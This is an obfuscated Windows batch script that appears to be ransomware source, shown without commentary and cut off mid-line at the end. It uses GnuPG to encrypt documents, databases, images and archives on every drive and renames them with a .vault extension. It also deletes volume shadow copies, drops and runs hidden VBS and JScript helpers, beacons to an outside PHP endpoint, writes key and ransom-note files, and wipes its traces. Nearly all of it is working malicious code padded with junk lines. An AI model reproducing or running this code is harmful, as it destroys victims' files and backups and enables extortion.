spEfAch6gaCHetHuMEM2fUgexuj27rAS >nul echo if exist "%%AppDATA%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 01FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto 441f5342 echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul :1010f32d dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul :441f5342 echo Set objShell = CreateObject^("Shell.Application"^) > "%temp%\59665d79.vbs" echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul echo Set objWshShell = WScript.CreateObject^("WScript.Shell"^) >> "%temp%\59665d79.vbs" echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul echo Set objWshProcessEnv = objWshShell.Environment^("PROCESS"^) >> "%temp%\59665d79.vbs" echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul echo objShell.ShellExecute "wmic.exe", "shadowcopy delete /nointeractive", "", "runas", 0 >> "%temp%\59665d79.vbs" echo var cdp="%%TEMP%%\\69aca909.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');> "%temp%\acda3f33.js" echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul echo.> "%temp%\69aca909.cmd" echo SetLocal EnableDelayedExpansion>> "%temp%\69aca909.cmd" echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul echo for /f "tokens=2*" %%%%i in ^('reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"'^) do set fnd7=%%%%j>> "%temp%\69aca909.cmd" echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul echo if not %%fnd7:~0,1%% GEQ 6 goto a3811a18>> "%temp%\69aca909.cmd" echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul echo set ntries=^0>> "%temp%\69aca909.cmd" echo :3c843d11>> "%temp%\69aca909.cmd" echo wscript.exe //B //Nologo "%%temp%%\59665d79.vbs"^& tasklist^|findstr /i wmic.exe>> "%temp%\69aca909.cmd" echo if not ^^!errorlevel^^!==0 ^(>> "%temp%\69aca909.cmd" echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul echo set /a ntries+=^1>> "%temp%\69aca909.cmd" echo if not ^^!ntries^^! GEQ 16 goto 3c843d11>> "%temp%\69aca909.cmd" echo ^)>> "%temp%\69aca909.cmd" echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul echo :a3811a18>> "%temp%\69aca909.cmd" echo del /f /q "%temp%\acda3f33.js">> "%temp%\69aca909.cmd" echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd" echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul echo echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd" echo echo 1107cc4c ^> "%%temp%%\69aca909.cmd">> "%temp%\69aca909.cmd" start wscript.exe //B //Nologo "%temp%\acda3f33.js" echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :c68cd952 %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 02FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto 9b100e11 echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul :c68cd952 dir /B "%1:\"&& for /r "%1:\" %%i in (*.pdf *.rtf) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY :9b100e11 echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :a556dfcb %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 03FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto cd9f3e2a echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul :a556dfcb dir /B "%1:\"&& for /r "%1:\" %%i in (*.psd *.dwg *.cdr) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :cd9f3e2a FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :071faa5e %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 04FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto e0aede1c :071faa5e dir /B "%1:\"&& for /r "%1:\" %%i in (*.cd *.mdb *.1cd *.dbf *.sqlite) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :e0aede1c FOR %%s IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :f941ecc1 %%s echo if exist "%%TeMp%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 05FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto ca70214e :f941ecc1 dir /B "%1:\"&& for /r "%1:\" %%i in (*.jpg *.zip) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :ca70214e set loco=!random!!random! echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul echo function CreateObject^(b^){return new ActiveXObject^(b^)} >> !loco!.js echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul echo prEMayafRuDubrug3fRUmEChubrustuy >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul echo function ok^(b^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^)} >> !loco!.js echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul echo prEMayafRuDubrug3fRUmEChubrustuy >nul echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul echo ok^("http://attached-email.com/c1.php"^); >> !loco!.js echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul echo prEMayafRuDubrug3fRUmEChubrustuy >nul echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul wscript.exe //B //nologo //T:40 "!loco!.js" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul echo echo FHASH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo FHASH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul echo echo FHASH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo 1e759748 ^> "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul echo del /f /q "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a" findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\21b0fb7b.7ca0ec0c"> "%temp%\97cf86b0.e479bce7" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\61231f25.9db8b89a"> "%temp%\f2a431bc.6ccc04ec" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\97cf86b0.e479bce7"> "%temp%\8f9c3dbb.9767d548" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\f2a431bc.6ccc04ec"> "%temp%\4c2e533d.cmd" del /f /q "%temp%\97cf86b0.e479bce7" del /f /q "%temp%\f2a431bc.6ccc04ec" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul del /f /q "%temp%\21b0fb7b.7ca0ec0c" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul del /f /q "%temp%\61231f25.9db8b89a" echo XCONF: !58d179b8!>> "%temp%\3637bf69.36ddf8fe" echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul set 3a3b7af1=66668 for /f %%f in ('find /c /v ""^< "%temp%\8f9c3dbb.9767d548"') do ( set 3a3b7af1=%%f ) echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul echo speFrez4chE3asw4RebrU32haGedaDAD >nul echo QNTTY: !3a3b7af1!>> "%temp%\3637bf69.36ddf8fe" for %%c IN (01:xls 04:doc 05:rtf 10:pdf 11:psd 12:dwg 13:cdr 19:cd 20:mdb 21:1cd 23:dbf 24:sqlite 26:jpg 27:zip) do ( for /f "tokens=1,2 delims=:" %%i in ("%%c") do ( for /f %%b in ('find /c /i ".%%j"^< "%temp%\8f9c3dbb.9767d548"') do ( echo %%iEXT: %%b>> "%temp%\3637bf69.36ddf8fe" ))) echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul echo 02EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 03EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul echo 06EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 07EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 08EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 09EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul echo 14EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 15EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 16EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul echo 17EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 18EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 22EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul echo 25EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 28EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul echo 29EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul echo.>> "%temp%\8f9c3dbb.9767d548" echo XCONF: !58d179b8!>> "%temp%\8f9c3dbb.9767d548" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul del /f /q "!loco!.js" "%temp%\gpg.exe" --import "%temp%\03dfb98e.7087b06e" del /f /q "%temp%\03dfb98e.7087b06e" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\CONFIRMATION.KEY" -e "%temp%\8f9c3dbb.9767d548" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul if not exist "%temp%\VAULT.KEY" ( "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\3637bf69.36ddf8fe" echo thu83E7r88Erup7etUbRuzaqathUchaB >nul echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul RENAME "%temp%\3637bf69.36ddf8fe.gpg" VAULT.KEY ) if not exist "%temp%\CONFIRMATION.KEY" ( "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\8f9c3dbb.9767d548" RENAME "%temp%\8f9c3dbb.9767d548.gpg" CONFIRMATION.KEY echo spewuxeJubrupruthUmex33EpafrAbre >nul echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul echo wrasatuNabrefr8stubruxuhAreCHapr >nul ) if not exist "%temp%\VAULT.KEY" ( del /f /q "%temp%\*.vlt" del /f /q "%temp%\*.gpg" echo spewuxeJubrupruthUmex33EpafrAbre >nul echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul echo wrasatuNabrefr8stubruxuhAreCHapr >nul del /f /q "%temp%\random_seed" del /f /q "%temp%\*.lock" echo spewuxeJubrupruthUmex33EpafrAbre >nul echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul echo wrasatuNabrefr8stubruxuhAreCHapr >nul del /f /q "%temp%\*.bak" del /f /q "%temp%\*.list" echo spewuxeJubrupruthUmex33EpafrAbre >nul echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul echo wrasatuNabrefr8stubruxuhAreCHapr >nul goto 6d0f24b8 ) echo.>> "%temp%\VAULT.KEY" echo 01FNSH-!715c7be3!>> "%temp%\VAULT.KEY" echo 2hUwaJe7enacePrek25payEneteyuThU >nul echo yu8avat34jeq4vapr3JUceC3uquvethe >nul echo 02FNSH-!b67b5d00!>> "%temp%\VAULT.KEY" echo 2hUwaJe7enacePrek25payEneteyuThU >nul echo yu8avat34jeq4vapr3JUceC3uquvethe >nul echo 03FNSH-!db5a2d8a!>> "%temp%\VAULT.KEY" echo 04FNSH-!dc841a88!>> "%temp%\VAULT.KEY" echo 2hUwaJe7enacePrek25payEneteyuThU >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo yu8avat34jeq4vapr3JUceC3uquvethe >nul echo 05FNSH-!ee1f189d!>> "%temp%\VAULT.KEY" echo FHASH-!2162ea2b!>> "%temp%\VAULT.KEY" echo 2hUwaJe7enacePrek25payEneteyuThU >nul echo yu8avat34jeq4vapr3JUceC3uquvethe >nul echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e> "%temp%\secring.qpq" echo 2hUwaJe7enacePrek25payEneteyuThU >nul echo yu8avat34jeq4vapr3JUceC3uquvethe >nul echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\secring.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c>> "%temp%\secring.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\secring.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\secring.qpq" echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\secring.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul move /y "%temp%\secring.qpq" "%temp%\secring.gpg" echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c> "%temp%\36ddf8fe3637bf69.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq" echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\36ddf8fe3637bf69.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul move /y "%temp%\36ddf8fe3637bf69.qpq" "%temp%\3637bf69.36ddf8fe" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952> "%temp%\9767d5488f9c3dbb.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\9767d5488f9c3dbb.qpq" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\9767d5488f9c3dbb.qpq" move /y "%temp%\9767d5488f9c3dbb.qpq" "%temp%\8f9c3dbb.9767d548" del /f /q "%temp%\secring.gpg" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul del /f /q "%temp%\3637bf69.36ddf8fe" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul del /f /q "%temp%\8f9c3dbb.9767d548" del /f /q "%temp%\21b0fb7b.7ca0ec0c" del /f /q "%temp%\random_seed" del /f /q "%temp%\trustdb.gpg" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul del /f /q "%temp%\secring.gpg" del /f /q "%temp%\*.lock" del /f /q "%temp%\*.bak" attrib -s -h -r "%AppData%\gnupg\*.*" attrib -s -h -r "%AppData%\gnupg" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul del /f /q "%AppData%\gnupg\*.*" rmdir /s /q "%AppData%\gnupg" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul copy /y "%temp%\CONFIRMATION.KEY" "%appdata%\CONFIRMATION.KEY" copy /y "%temp%\VAULT.KEY" "%appdata%\VAULT.KEY" echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul copy /y "%temp%\VAULT.KEY" "%temp%\4077430c_VAULT.KEY" echo 01FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 02FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo 03FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 04FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo 05FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo FHASH-OK>> "%temp%\4077430c_VAULT.KEY" attrib +r "%temp%\4077430c_VAULT.KEY" copy /y "%temp%\VAULT.KEY" "%userprofile%\Desktop\VAULT.KEY" echo.> "%temp%\VAULT.txt" echo            .vult >> "%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge echo       >> "%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo.>> "%temp%\VAULT.txt" echo   : >> 